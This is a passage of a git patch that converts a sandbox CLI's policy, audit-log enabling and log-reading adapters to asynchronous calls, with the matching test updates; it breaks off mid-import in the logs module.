From c44eb707329f6bc7078f2987d1c38e621fb32116 Mon Sep 17 00:00:00 2001 From: Rebecca Sliter <571084+rsliter@users.noreply.github.com> Date: Thu, 10 Sep 2026 15:03:25 -0700 Subject: [PATCH 1/4] refactor(policy): complete asynchronous policy and audit adapters Signed-off-by: Rebecca Sliter <571084+rsliter@users.noreply.github.com> --- src/commands/sandbox/logs.ts | 2 +- src/commands/sandbox/policy/explain.ts | 2 +- src/commands/sandbox/policy/list.ts | 2 +- src/commands/status.ts | 2 +- src/lib/actions/sandbox/channel-status.ts | 17 +- .../sandbox/exec-policy-hint-emission.ts | 29 +- .../sandbox/exec-policy-hint-runtime.test.ts | 44 +-- src/lib/actions/sandbox/launch-readiness.ts | 10 +- src/lib/actions/sandbox/logs.test.ts | 92 ++--- src/lib/actions/sandbox/logs.ts | 55 ++- .../actions/sandbox/mcp-bridge-add-restart.ts | 14 +- .../sandbox/mcp-bridge-destroy-preflight.ts | 2 +- src/lib/actions/sandbox/mcp-bridge-destroy.ts | 2 +- .../actions/sandbox/mcp-bridge-policy.test.ts | 49 +-- src/lib/actions/sandbox/mcp-bridge-policy.ts | 45 ++- src/lib/actions/sandbox/mcp-bridge-rebuild.ts | 18 +- src/lib/actions/sandbox/mcp-bridge-remove.ts | 2 +- src/lib/actions/sandbox/mcp-bridge-restart.ts | 8 +- src/lib/actions/sandbox/mcp-bridge-status.ts | 2 +- .../sandbox/pi-candidate-lifecycle.test.ts | 4 +- .../sandbox/policy-channel-add-drift.test.ts | 24 +- .../sandbox/policy-channel-agent-gate.test.ts | 6 +- .../sandbox/policy-channel-baseline.test.ts | 4 +- .../sandbox/policy-channel-conflict.test.ts | 12 +- ...licy-channel-custom-preset-dry-run.test.ts | 4 +- .../sandbox/policy-channel-dependencies.ts | 6 +- .../sandbox/policy-channel-list.test.ts | 12 +- .../sandbox/policy-channel-lock.test.ts | 10 +- .../sandbox/policy-channel-policy.test.ts | 12 +- .../sandbox/policy-channel-refresh.test.ts | 60 +-- .../policy-channel-remove-flow.test.ts | 10 +- .../policy-channel-scope-disclosure.test.ts | 6 +- src/lib/actions/sandbox/policy-channel.ts | 160 ++++---- .../sandbox/policy-context-refresh.test.ts | 42 ++- .../actions/sandbox/policy-context-refresh.ts | 6 +- .../actions/sandbox/policy-explain.test.ts | 59 ++- src/lib/actions/sandbox/policy-explain.ts | 32 +- src/lib/actions/sandbox/policy-get.test.ts | 24 +- src/lib/actions/sandbox/policy-get.ts | 39 +- .../sandbox/policy-list-render.test.ts | 26 +- .../actions/sandbox/rebuild-backup-phase.ts | 18 +- .../actions/sandbox/rebuild-destroy-phase.ts | 4 +- src/lib/actions/sandbox/rebuild-pipeline.ts | 10 +- .../sandbox/rebuild-resume-snapshot.test.ts | 2 +- .../snapshot-auto-create-failure.test.ts | 2 +- .../snapshot-restore-clone-ports.test.ts | 12 +- .../sandbox/snapshot-restore-test-fixture.ts | 10 +- src/lib/actions/sandbox/snapshot.ts | 4 +- src/lib/actions/sandbox/status-snapshot.ts | 2 +- src/lib/actions/sandbox/status-text.ts | 6 +- src/lib/actions/sandbox/status.ts | 10 +- src/lib/adapters/openshell/client.ts | 1 + src/lib/adapters/openshell/runtime.test.ts | 35 +- src/lib/adapters/openshell/runtime.ts | 17 + .../openshell/sandbox-policy-cli.test.ts | 111 ++++-- .../adapters/openshell/sandbox-policy-cli.ts | 179 ++++----- src/lib/adapters/openshell/sandbox-policy.ts | 67 ++-- .../openshell/sandbox-settings-cli.test.ts | 69 ++++ .../openshell/sandbox-settings-cli.ts | 50 +++ .../adapters/openshell/sandbox-settings.ts | 14 + .../adapters/openshell/sanitized-capture.ts | 46 ++- src/lib/domain/sandbox/logs.test.ts | 10 - src/lib/domain/sandbox/logs.ts | 10 - src/lib/inventory/index.test.ts | 57 +-- src/lib/inventory/index.ts | 66 ++-- src/lib/list-command-deps.ts | 4 +- .../external-component/activation.test.ts | 22 +- .../onboard/external-component/activation.ts | 6 +- .../external-component/onboarding.test.ts | 2 +- .../onboard/external-component/onboarding.ts | 4 +- .../onboard/external-component/proof.test.ts | 33 +- src/lib/onboard/external-component/proof.ts | 28 +- .../onboard/machine/handlers/finalization.ts | 6 +- src/lib/onboard/machine/handlers/policies.ts | 14 +- src/lib/onboard/policy-context-seed.test.ts | 72 ++-- src/lib/onboard/policy-context-seed.ts | 41 +- .../policy-preset-sync-finality.test.ts | 59 ++- src/lib/onboard/policy-preset-sync.ts | 37 +- .../onboard/policy-resume-selection.test.ts | 86 ++--- src/lib/onboard/policy-resume-selection.ts | 25 +- .../policy-selection-application.test.ts | 8 +- src/lib/onboard/policy-selection.ts | 54 ++- src/lib/policy/context-builder.ts | 24 +- src/lib/policy/context.test.ts | 46 +-- src/lib/policy/failure-classifier.test.ts | 68 ++-- src/lib/policy/failure-classifier.ts | 10 +- src/lib/policy/index.ts | 353 +++++++++--------- src/lib/policy/policy-apply-finality.test.ts | 114 +++--- src/lib/policy/policy-live-state.test.ts | 138 +++---- src/lib/policy/preset-allowed-ips.test.ts | 20 +- src/lib/status-command-deps.ts | 4 +- .../channels-add-bridge-lifecycle.test.ts | 10 +- test/channels/channels-add-preset.test.ts | 32 +- .../e2e/fixtures/hermes-config-export-live.ts | 4 +- test/e2e/live/network-policy.test.ts | 4 +- .../live/openshell-allowed-ips-rebinding.ts | 4 +- .../openshell-exact-main-runtime-contracts.ts | 14 +- .../support/hermes-config-export-live.test.ts | 2 +- test/e2e/support/mcp-bridge-sandbox.test.ts | 2 +- ...shell-exact-main-runtime-contracts.test.ts | 2 +- test/helpers/rebuild-flow-generic-harness.ts | 4 +- test/onboarding/onboard-readiness.test.ts | 30 +- test/onboarding/onboard.test.ts | 4 +- ...hermes-slack-policy-reconciliation.test.ts | 9 +- .../personal-open-internet-policy.test.ts | 8 +- test/runtime/policy/policies-teams.test.ts | 9 +- test/runtime/policy/policies.test.ts | 66 ++-- .../policy-channel-agent-resolution.test.ts | 36 +- .../policy/policy-diagnostic-read.test.ts | 4 +- .../policy-mutation-read-failure.test.ts | 24 +- .../policy-openclaw-npm-compatibility.test.ts | 21 +- .../policy-preset-noop-disclosure.test.ts | 5 +- .../runtime/policy/policy-preset-sync.test.ts | 8 +- ...policy-semantic-validation-runtime.test.ts | 18 +- .../portable-policy-failure-finality.test.ts | 6 +- .../sandbox/sandbox-logs-terminal.test.ts | 26 +- .../sandbox-status-json-stdout.test.ts | 6 +- 117 files changed, 1884 insertions(+), 1519 deletions(-) create mode 100644 src/lib/adapters/openshell/sandbox-settings-cli.test.ts create mode 100644 src/lib/adapters/openshell/sandbox-settings-cli.ts create mode 100644 src/lib/adapters/openshell/sandbox-settings.ts diff --git a/src/commands/sandbox/logs.ts b/src/commands/sandbox/logs.ts index dd97f50d04c..cd1210c5725 100644 --- a/src/commands/sandbox/logs.ts +++ b/src/commands/sandbox/logs.ts @@ -44,7 +44,7 @@ export default class SandboxLogsCommand extends NemoClawCommand { public async run(): Promise { const { args, flags } = await this.parse(SandboxLogsCommand); - showSandboxLogs(args.sandboxName, { + await showSandboxLogs(args.sandboxName, { follow: flags.follow === true, lines: String(flags.tail), since: flags.since ?? null, diff --git a/src/commands/sandbox/policy/explain.ts b/src/commands/sandbox/policy/explain.ts index ccff32b24a6..0f63a0e1642 100644 --- a/src/commands/sandbox/policy/explain.ts +++ b/src/commands/sandbox/policy/explain.ts @@ -36,7 +36,7 @@ export default class SandboxPolicyExplainCommand extends NemoClawCommand { public async run(): Promise { const { args, flags } = await this.parse(SandboxPolicyExplainCommand); - explainSandboxPolicy( + await explainSandboxPolicy( args.sandboxName, { json: flags.json, writeToSandbox: flags.write }, { logJson: (value) => this.logJson(value) }, diff --git a/src/commands/sandbox/policy/list.ts b/src/commands/sandbox/policy/list.ts index d0d4ec096e2..38f98a743a8 100644 --- a/src/commands/sandbox/policy/list.ts +++ b/src/commands/sandbox/policy/list.ts @@ -20,6 +20,6 @@ export default class SandboxPolicyListCommand extends NemoClawCommand { public async run(): Promise { const { args } = await this.parse(SandboxPolicyListCommand); - listSandboxPolicies(args.sandboxName); + await listSandboxPolicies(args.sandboxName); } } diff --git a/src/commands/status.ts b/src/commands/status.ts index 0037f554978..58f95b28a77 100644 --- a/src/commands/status.ts +++ b/src/commands/status.ts @@ -20,7 +20,7 @@ export default class StatusCommand extends NemoClawCommand { await this.parse(StatusCommand); const deps = buildStatusCommandDeps(this.config.root); if (this.jsonEnabled()) { - const report = getStatusReport(deps); + const report = await getStatusReport(deps); if (report.gatewayHealth && !report.gatewayHealth.healthy) { process.exitCode = 1; } diff --git a/src/lib/actions/sandbox/channel-status.ts b/src/lib/actions/sandbox/channel-status.ts index 0d347c947f5..e670397f1b3 100644 --- a/src/lib/actions/sandbox/channel-status.ts +++ b/src/lib/actions/sandbox/channel-status.ts @@ -57,8 +57,11 @@ type ExecRunner = ( type StatusDeps = { loadAgent?: (name: string) => AgentDefinition; getSandbox?: typeof registry.getSandbox; - getAppliedPresets?: (sandboxName: string) => string[]; - getGatewayPresets?: (sandboxName: string, timeoutMs?: number) => string[] | null; + getAppliedPresets?: (sandboxName: string) => string[] | Promise; + getGatewayPresets?: ( + sandboxName: string, + timeoutMs?: number, + ) => string[] | null | Promise; execSandbox?: ExecRunner; now?: () => Date; nowMs?: () => number; @@ -301,7 +304,7 @@ async function buildBasicChannelReport( const entry = deps.getSandbox(sandboxName); const enabled = registry.getConfiguredMessagingChannelsFromEntry(entry).includes(channelName); const disabled = registry.getDisabledMessagingChannelsFromEntry(entry).includes(channelName); - const appliedPresets = deps.getAppliedPresets(sandboxName); + const appliedPresets = await deps.getAppliedPresets(sandboxName); const policyPresets = diagnostic.policyPresets.length > 0 ? diagnostic.policyPresets : [channelName]; const presetApplied = policyPresets.some((preset) => appliedPresets.includes(preset)); @@ -429,11 +432,11 @@ async function runChannelHealthHook( .includes(channelName); const policyPresets = diagnostic.policyPresets.length > 0 ? diagnostic.policyPresets : [channelName]; - const appliedPresets = deps.getAppliedPresets(sandboxName); + const appliedPresets = await deps.getAppliedPresets(sandboxName); const presetApplied = policyPresets.some((preset) => appliedPresets.includes(preset)); let presetOnGateway: boolean | null = null; try { - const gatewayPresets = deps.getGatewayPresets(sandboxName); + const gatewayPresets = await deps.getGatewayPresets(sandboxName); presetOnGateway = gatewayPresets === null ? null @@ -547,9 +550,9 @@ function withStatusDeadline(deps: Required, deadlineMs: number): Req }; return { ...deps, - getGatewayPresets: (sandboxName, requestedTimeoutMs) => { + getGatewayPresets: async (sandboxName, requestedTimeoutMs) => { const timeoutMs = boundedTimeoutMs(requestedTimeoutMs); - return timeoutMs === null ? null : deps.getGatewayPresets(sandboxName, timeoutMs); + return timeoutMs === null ? null : await deps.getGatewayPresets(sandboxName, timeoutMs); }, execSandbox: async (sandboxName, command, requestedTimeoutMs) => { const timeoutMs = boundedTimeoutMs(requestedTimeoutMs); diff --git a/src/lib/actions/sandbox/exec-policy-hint-emission.ts b/src/lib/actions/sandbox/exec-policy-hint-emission.ts index 21e34f4fdc2..d43b6ef8c22 100644 --- a/src/lib/actions/sandbox/exec-policy-hint-emission.ts +++ b/src/lib/actions/sandbox/exec-policy-hint-emission.ts @@ -1,13 +1,11 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 +import { cliOpenShellSandboxSettings } from "../../adapters/openshell/sandbox-settings-cli"; + import { captureOpenshell } from "../../adapters/openshell/runtime"; import type { SandboxLogsOptions } from "../../domain/sandbox/log-options"; -import { - buildEnableSandboxAuditLogsArgs, - buildSandboxLogsArgs, - getLogsProbeTimeoutMs, -} from "../../domain/sandbox/logs"; +import { buildSandboxLogsArgs, getLogsProbeTimeoutMs } from "../../domain/sandbox/logs"; import { findRecentPolicyDenial, type PolicyDenialMatch } from "./exec-policy-hint-detection"; import { buildPolicyDenialExecHint, @@ -38,7 +36,10 @@ export const POLICY_HINT_MAX_RUNTIME_TIMEOUT_MS = 1_000; export const POLICY_HINT_DEVICE_PROBE_TIMEOUT_MS = 5_000; export type PolicyDenialLogProbe = (sandboxName: string, gatewayName?: string) => string; -export type PolicyDenialAuditEnabler = (sandboxName: string, gatewayName?: string) => void; +export type PolicyDenialAuditEnabler = ( + sandboxName: string, + gatewayName?: string, +) => void | Promise; export type PendingDeviceProbe = (sandboxName: string, gatewayName?: string) => string; @@ -65,15 +66,13 @@ function runtimeTimeoutMs(): number { return Math.min(getLogsProbeTimeoutMs(), POLICY_HINT_MAX_RUNTIME_TIMEOUT_MS); } -function defaultEnableAudit(sandboxName: string, gatewayName?: string): void { - const result = captureOpenshell(buildEnableSandboxAuditLogsArgs(sandboxName, gatewayName), { - ignoreError: true, - includeStderr: true, - timeout: runtimeTimeoutMs(), +async function defaultEnableAudit(sandboxName: string, gatewayName?: string): Promise { + const result = await cliOpenShellSandboxSettings.enableAuditLogs({ + target: gatewayName ? { kind: "named", gatewayName } : { kind: "selected" }, + sandboxName, + timeoutMs: runtimeTimeoutMs(), }); - if (result.error || result.status !== 0) { - throw result.error ?? new Error(`failed to enable audit logs (exit ${result.status})`); - } + if (!result.ok) throw new Error(result.error.message); } function defaultProbeLogs(sandboxName: string, gatewayName?: string): string { @@ -186,7 +185,7 @@ export async function maybeEmitPolicyDenialHint( const retryDelayMs = deps.retryDelayMs ?? POLICY_HINT_PROBE_RETRY_MS; try { - enableAudit(sandboxName, gatewayName); + await enableAudit(sandboxName, gatewayName); } catch { // Deliberately silent: audit setup is optional and retained logs may still // contain the denial. Printing this diagnostic, even under a new debug diff --git a/src/lib/actions/sandbox/exec-policy-hint-runtime.test.ts b/src/lib/actions/sandbox/exec-policy-hint-runtime.test.ts index 7ab0539bc15..f8ebfafb31c 100644 --- a/src/lib/actions/sandbox/exec-policy-hint-runtime.test.ts +++ b/src/lib/actions/sandbox/exec-policy-hint-runtime.test.ts @@ -3,9 +3,15 @@ import { afterEach, describe, expect, it, vi } from "vitest"; -const { captureOpenshell } = vi.hoisted(() => ({ captureOpenshell: vi.fn() })); +const { captureOpenshell, enableAuditLogs } = vi.hoisted(() => ({ + captureOpenshell: vi.fn(), + enableAuditLogs: vi.fn(), +})); vi.mock("../../adapters/openshell/runtime", () => ({ captureOpenshell })); +vi.mock("../../adapters/openshell/sandbox-settings-cli", () => ({ + cliOpenShellSandboxSettings: { enableAuditLogs }, +})); import { maybeEmitPolicyDenialHint, @@ -25,9 +31,8 @@ describe("policy-denial hint runtime adapter integration (#5978)", () => { }); it("enables audit and reads the bounded OpenShell log tail through the runtime adapter", async () => { - captureOpenshell - .mockReturnValueOnce({ output: "", status: 0 }) - .mockReturnValueOnce({ output: DENIED_LINE, status: 0 }); + enableAuditLogs.mockResolvedValue({ ok: true, value: undefined }); + captureOpenshell.mockReturnValueOnce({ output: DENIED_LINE, status: 0 }); const stderr: string[] = []; const hint = await maybeEmitPolicyDenialHint( @@ -44,27 +49,13 @@ describe("policy-denial hint runtime adapter integration (#5978)", () => { "nemoclaw-8091", ); + expect(enableAuditLogs).toHaveBeenCalledExactlyOnceWith({ + target: { kind: "named", gatewayName: "nemoclaw-8091" }, + sandboxName: "runtime-sandbox", + timeoutMs: POLICY_HINT_MAX_RUNTIME_TIMEOUT_MS, + }); expect(captureOpenshell).toHaveBeenNthCalledWith( 1, - [ - "settings", - "set", - "-g", - "nemoclaw-8091", - "runtime-sandbox", - "--key", - "ocsf_json_enabled", - "--value", - "true", - ], - expect.objectContaining({ - ignoreError: true, - includeStderr: true, - timeout: POLICY_HINT_MAX_RUNTIME_TIMEOUT_MS, - }), - ); - expect(captureOpenshell).toHaveBeenNthCalledWith( - 2, [ "logs", "-g", @@ -89,9 +80,8 @@ describe("policy-denial hint runtime adapter integration (#5978)", () => { const timeout = Object.assign(new Error("OpenShell log read timed out"), { code: "ETIMEDOUT", }); - captureOpenshell - .mockReturnValueOnce({ output: "", status: 0 }) - .mockReturnValueOnce({ error: timeout, output: "", status: null }); + enableAuditLogs.mockResolvedValue({ ok: true, value: undefined }); + captureOpenshell.mockReturnValueOnce({ error: timeout, output: "", status: null }); const sleep = vi.fn(async () => {}); const hint = await maybeEmitPolicyDenialHint( @@ -104,7 +94,7 @@ describe("policy-denial hint runtime adapter integration (#5978)", () => { ); expect(hint).toBeNull(); - expect(captureOpenshell).toHaveBeenCalledTimes(2); + expect(captureOpenshell).toHaveBeenCalledTimes(1); expect(sleep).not.toHaveBeenCalled(); }); }); diff --git a/src/lib/actions/sandbox/launch-readiness.ts b/src/lib/actions/sandbox/launch-readiness.ts index 4d43d5bceb9..33c50d46908 100644 --- a/src/lib/actions/sandbox/launch-readiness.ts +++ b/src/lib/actions/sandbox/launch-readiness.ts @@ -5,7 +5,7 @@ import { createHash } from "node:crypto"; import fs from "node:fs"; import { - createSyncCliOpenShellSandboxPolicyReader, + createCliOpenShellSandboxPolicyReader, namedOpenShellGateway, type OpenShellSandboxError, } from "../../adapters/openshell/sandbox-policy-cli"; @@ -655,13 +655,13 @@ function classifyReceipt( return read.kind === "valid" ? "config" : read.kind; } -function validateLivePolicy( +async function validateLivePolicy( sandboxName: string, gatewayName: string, deps: LaunchReadinessDeps, -): void { +): Promise { const capture = deps.capture ?? captureLaunchReadiness; - const result = createSyncCliOpenShellSandboxPolicyReader({ + const result = await createCliOpenShellSandboxPolicyReader({ capture: (args, options) => capture(args, { ...options, @@ -783,7 +783,7 @@ async function captureLaunchIdentity( const policyStartedAt = performance.now(); try { - validateLivePolicy(sandboxName, gatewayName, deps); + await validateLivePolicy(sandboxName, gatewayName, deps); } catch (error) { recordLaunchReadinessObservationFailure(deps, "policy-get"); throw error; diff --git a/src/lib/actions/sandbox/logs.test.ts b/src/lib/actions/sandbox/logs.test.ts index 8df31f3c047..d0265368098 100644 --- a/src/lib/actions/sandbox/logs.test.ts +++ b/src/lib/actions/sandbox/logs.test.ts @@ -56,11 +56,11 @@ function restoreProcessSignalListeners( } } -function captureLogsRun( +async function captureLogsRun( options: Parameters[1], results: Record, overrides: Partial[2]> = {}, -): CapturedLogsRun { +): Promise { const calls: CapturedLogsRun["calls"] = []; const spawns: CapturedLogsRun["spawns"] = []; const stdout: string[] = []; @@ -86,7 +86,7 @@ function captureLogsRun( }) as unknown as SpawnFn; try { - showSandboxLogsWithDeps("alpha", options, { + await showSandboxLogsWithDeps("alpha", options, { exit: (code) => { exitCode = code; throw new ExitError(code); @@ -94,6 +94,15 @@ function captureLogsRun( isDockerRuntimeDown: () => false, getOpenshellBinary: () => "openshell", runOpenshell, + enableAuditLogs: async () => { + const result = results.settings ?? { status: 0 }; + return result.status === 0 + ? { ok: true, value: undefined } + : { + ok: false, + error: { kind: "command", reason: "failed", message: "settings unavailable" }, + }; + }, spawn, writeStdout: (chunk) => { stdout.push(chunk); @@ -112,8 +121,8 @@ function captureLogsRun( } describe("showSandboxLogsWithDeps", () => { - it("enables audit logs, reads both log sources, and writes merged output", () => { - const result = captureLogsRun( + it("enables audit logs, reads both log sources, and writes merged output", async () => { + const result = await captureLogsRun( { follow: false, lines: "50", since: null }, { settings: { status: 0 }, @@ -127,14 +136,13 @@ describe("showSandboxLogsWithDeps", () => { // OpenShell line already carries its own tag and is passed through (#10340). expect(result.stdout).toBe("[1] [gateway] gateway\n[2] openshell\n"); expect(result.calls.map((call) => call.args)).toEqual([ - ["settings", "set", "alpha", "--key", "ocsf_json_enabled", "--value", "true"], ["sandbox", "exec", "-n", "alpha", "--", "tail", "-n", "50", "/tmp/gateway.log"], ["logs", "alpha", "-n", "50", "--source", "all"], ]); }); - it("skips the OpenClaw gateway tail when --since targets OpenShell logs", () => { - const result = captureLogsRun( + it("skips the OpenClaw gateway tail when --since targets OpenShell logs", async () => { + const result = await captureLogsRun( { follow: false, lines: "200", since: "5m" }, { settings: { status: 0 }, @@ -145,13 +153,12 @@ describe("showSandboxLogsWithDeps", () => { expect(result.exitCode).toBe(0); expect(result.stdout).toBe("[3] openshell only\n"); expect(result.calls.map((call) => call.args)).toEqual([ - ["settings", "set", "alpha", "--key", "ocsf_json_enabled", "--value", "true"], ["logs", "alpha", "-n", "200", "--source", "all", "--since", "5m"], ]); }); - it("streams follow logs with the requested tail count", () => { - const result = captureLogsRun( + it("streams follow logs with the requested tail count", async () => { + const result = await captureLogsRun( { follow: true, lines: "50", since: null }, { settings: { status: 0 }, @@ -159,9 +166,7 @@ describe("showSandboxLogsWithDeps", () => { ); expect(result.exitCode).toBe(0); - expect(result.calls.map((call) => call.args)).toEqual([ - ["settings", "set", "alpha", "--key", "ocsf_json_enabled", "--value", "true"], - ]); + expect(result.calls.map((call) => call.args)).toEqual([]); expect(result.spawns.map((call) => call.command)).toEqual(["openshell", "openshell"]); expect(result.spawns.map((call) => call.args)).toEqual([ ["sandbox", "exec", "-n", "alpha", "--", "tail", "-n", "50", "-f", "/tmp/gateway.log"], @@ -169,8 +174,8 @@ describe("showSandboxLogsWithDeps", () => { ]); }); - it("streams follow logs with --since through OpenShell without an unfiltered gateway tail", () => { - const result = captureLogsRun( + it("streams follow logs with --since through OpenShell without an unfiltered gateway tail", async () => { + const result = await captureLogsRun( { follow: true, lines: "200", since: "5m" }, { settings: { status: 0 }, @@ -178,17 +183,15 @@ describe("showSandboxLogsWithDeps", () => { ); expect(result.exitCode).toBe(0); - expect(result.calls.map((call) => call.args)).toEqual([ - ["settings", "set", "alpha", "--key", "ocsf_json_enabled", "--value", "true"], - ]); + expect(result.calls.map((call) => call.args)).toEqual([]); expect(result.spawns.map((call) => call.args)).toEqual([ ["logs", "alpha", "-n", "200", "--source", "all", "--since", "5m", "--tail"], ]); }); - it("warns about degraded audit and OpenClaw sources while continuing to OpenShell logs", () => { + it("warns about degraded audit and OpenClaw sources while continuing to OpenShell logs", async () => { const timeout = new Error("spawn openshell ETIMEDOUT"); - const result = captureLogsRun( + const result = await captureLogsRun( { follow: false, lines: "200", since: null }, { settings: { status: 7, stderr: "settings unavailable\n" }, @@ -200,7 +203,7 @@ describe("showSandboxLogsWithDeps", () => { expect(result.exitCode).toBe(0); expect(result.stdout).toBe("[4] openshell fallback\n"); expect(result.errors.join("\n")).toContain( - "failed to enable OpenShell audit logs for sandbox 'alpha' (exit 7)", + "failed to enable OpenShell audit logs for sandbox 'alpha'", ); expect(result.errors.join("\n")).toContain("settings unavailable"); expect(result.errors.join("\n")).toContain("Policy denial events may be missing"); @@ -209,9 +212,9 @@ describe("showSandboxLogsWithDeps", () => { ); }); - it("prints Docker outage guidance and exits before OpenShell log probes", () => { + it("prints Docker outage guidance and exits before OpenShell log probes", async () => { const guidance = vi.fn(); - const result = captureLogsRun( + const result = await captureLogsRun( { follow: false, lines: "200", since: null }, {}, { @@ -225,7 +228,7 @@ describe("showSandboxLogsWithDeps", () => { expect(result.calls).toEqual([]); }); - it("surfaces a sparse gateway breadcrumb when OpenShell output dominates the tail", () => { + it("surfaces a sparse gateway breadcrumb when OpenShell output dominates the tail", async () => { const gatewayStdout = [ "[1779488800.000] [gateway] starting HTTP server", "[1779488815.000] [telegram] [default] bridge did not start within 15s; check channels.telegram.enabled, plugin entries, and gateway log", @@ -234,7 +237,7 @@ describe("showSandboxLogsWithDeps", () => { { length: 200 }, (_v, i) => `[${1779488900 + i}.000] [sandbox] [INFO ] line ${i}`, ).join("\n"); - const result = captureLogsRun( + const result = await captureLogsRun( { follow: false, lines: "200", since: null }, { settings: { status: 0 }, @@ -278,9 +281,9 @@ function createCapturedOutput(written: string[]): PassThrough { return output; } -function startFollowRun( +async function startFollowRun( options: { output?: Writable; keepOpenshellRunning?: boolean } = {}, -): FollowRun { +): Promise { const written: string[] = []; let spawnCount = 0; const gateway = createStreamingChild(); @@ -298,7 +301,7 @@ function startFollowRun( return spawnCount === 1 ? gateway.child : (openshell?.child ?? createExitedChild()); }) as unknown as SpawnFn; - showSandboxLogsWithDeps( + await showSandboxLogsWithDeps( "alpha", { follow: true, lines: "50", since: null }, { @@ -311,6 +314,7 @@ function startFollowRun( isDockerRuntimeDown: () => false, getOpenshellBinary: () => "openshell", runOpenshell: vi.fn(() => ({ status: 0 })), + enableAuditLogs: async () => ({ ok: true, value: undefined }), spawn, stdout: output, }, @@ -356,7 +360,7 @@ describe("follow-mode log source attribution (#10340)", () => { ].join("\n"); it("attributes every streamed banner line to a source", async () => { - const run = startFollowRun(); + const run = await startFollowRun(); run.gateway.stdout.write(`${BANNER}\n`); run.gateway.stdout.end(); run.gateway.child.emit("exit", 0, null); @@ -367,7 +371,7 @@ describe("follow-mode log source attribution (#10340)", () => { }); it("emits a trailing line that arrives without a newline", async () => { - const run = startFollowRun(); + const run = await startFollowRun(); run.gateway.stdout.write("no trailing newline"); run.gateway.stdout.end(); run.gateway.child.emit("exit", 0, null); @@ -388,7 +392,7 @@ describe("follow-mode log source attribution (#10340)", () => { expected: "[gateway] message\rcontinued\n", }, ])("preserves a bare carriage return $position (#10340)", async ({ chunks, expected }) => { - const run = startFollowRun(); + const run = await startFollowRun(); chunks.forEach((chunk) => run.gateway.stdout.write(chunk)); run.gateway.stdout.end(); run.gateway.child.emit("exit", 0, null); @@ -400,7 +404,7 @@ describe("follow-mode log source attribution (#10340)", () => { it("stops following when the source exits while a descendant holds its stdout open", async () => { // A grandchild that inherited the child's stdout write end keeps `end` from // firing. Completion must not require `end`, or follow mode hangs forever. - const run = startFollowRun(); + const run = await startFollowRun(); run.gateway.stdout.write("gateway banner line\n"); run.gateway.child.emit("exit", 0, null); @@ -409,7 +413,7 @@ describe("follow-mode log source attribution (#10340)", () => { }); it("streams a long unterminated line before the source completes (#10340)", async () => { - const run = startFollowRun(); + const run = await startFollowRun(); const line = "x".repeat(1_000_000); run.gateway.stdout.write(line); await new Promise((resolve) => setImmediate(resolve)); @@ -423,7 +427,7 @@ describe("follow-mode log source attribution (#10340)", () => { }); it("normalizes CRLF delimiters split across source chunks (#10340)", async () => { - const run = startFollowRun(); + const run = await startFollowRun(); const longLine = "x".repeat(4_097); run.gateway.stdout.write("short line\r"); run.gateway.stdout.write(`\n${longLine}\r`); @@ -437,7 +441,7 @@ describe("follow-mode log source attribution (#10340)", () => { it("pauses the gateway source until log output drains (#10340)", async () => { const output = new DeferredOutput(); - const run = startFollowRun({ output }); + const run = await startFollowRun({ output }); run.gateway.stdout.write("gateway line\n"); await new Promise((resolve) => setImmediate(resolve)); @@ -457,7 +461,7 @@ describe("follow-mode log source attribution (#10340)", () => { vi.useFakeTimers(); try { const output = new DeferredOutput(); - const run = startFollowRun({ output }); + const run = await startFollowRun({ output }); run.gateway.stdout.write("first line\n"); run.gateway.stdout.write("second line\n"); run.gateway.stdout.end(); @@ -480,7 +484,7 @@ describe("follow-mode log source attribution (#10340)", () => { it("waits for accepted output writes before reporting success (#10340)", async () => { const output = new DeferredOutput(1_024); - const run = startFollowRun({ output }); + const run = await startFollowRun({ output }); let exitCode: number | null = null; void run.exited.then((code) => { exitCode = code; @@ -501,7 +505,7 @@ describe("follow-mode log source attribution (#10340)", () => { it("waits for accepted output writes before reporting a tagged child error (#10340)", async () => { const output = new DeferredOutput(1_024); - const run = startFollowRun({ output }); + const run = await startFollowRun({ output }); let exitCode: number | null = null; void run.exited.then((code) => { exitCode = code; @@ -521,7 +525,7 @@ describe("follow-mode log source attribution (#10340)", () => { it("terminates both log sources after a downstream broken pipe (#10340)", async () => { const output = new PassThrough(); - const run = startFollowRun({ output, keepOpenshellRunning: true }); + const run = await startFollowRun({ output, keepOpenshellRunning: true }); const error = Object.assign(new Error("write EPIPE"), { code: "EPIPE" }); output.emit("error", error); @@ -535,7 +539,7 @@ describe("follow-mode log source attribution (#10340)", () => { }); it("terminates the gateway source after the raw source receives SIGPIPE (#10340)", async () => { - const run = startFollowRun({ keepOpenshellRunning: true }); + const run = await startFollowRun({ keepOpenshellRunning: true }); const openshell = run.openshell as StreamingChild; Object.assign(openshell.child, { signalCode: "SIGPIPE" }); @@ -551,7 +555,7 @@ describe("follow-mode log source attribution (#10340)", () => { const output = new PassThrough(); const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {}); try { - const run = startFollowRun({ output }); + const run = await startFollowRun({ output }); const error = Object.assign(new Error("no space"), { code: "ENOSPC" }); output.emit("error", error); @@ -569,7 +573,7 @@ describe("follow-mode log source attribution (#10340)", () => { it("reports a gateway read error instead of a successful stop (#10340)", async () => { const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {}); try { - const run = startFollowRun(); + const run = await startFollowRun(); const error = Object.assign(new Error("read failed"), { code: "EIO" }); run.gateway.stdout.emit("error", error); @@ -587,7 +591,7 @@ describe("follow-mode log source attribution (#10340)", () => { const output = new DeferredOutput(); const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {}); try { - const run = startFollowRun({ output }); + const run = await startFollowRun({ output }); run.gateway.stdout.write("gateway line"); run.gateway.child.emit("exit", 0, null); diff --git a/src/lib/actions/sandbox/logs.ts b/src/lib/actions/sandbox/logs.ts index 0d0c04afaed..38c31820ef1 100644 --- a/src/lib/actions/sandbox/logs.ts +++ b/src/lib/actions/sandbox/logs.ts @@ -4,11 +4,13 @@ import { spawn, type StdioOptions } from "node:child_process"; import type { Writable } from "node:stream"; import { getOpenshellBinary, runOpenshell } from "../../adapters/openshell/runtime"; +import { cliOpenShellSandboxSettings } from "../../adapters/openshell/sandbox-settings-cli"; +import type { OpenShellSandboxSettings } from "../../adapters/openshell/sandbox-settings"; +import { selectedOpenShellGateway } from "../../adapters/openshell/sandbox-observer"; import * as agentRuntime from "../../agent/runtime"; import { spawnExitCode } from "../../core/process-exit"; import type { SandboxLogsOptions } from "../../domain/sandbox/log-options"; import { - buildEnableSandboxAuditLogsArgs, buildSandboxLogsArgs, 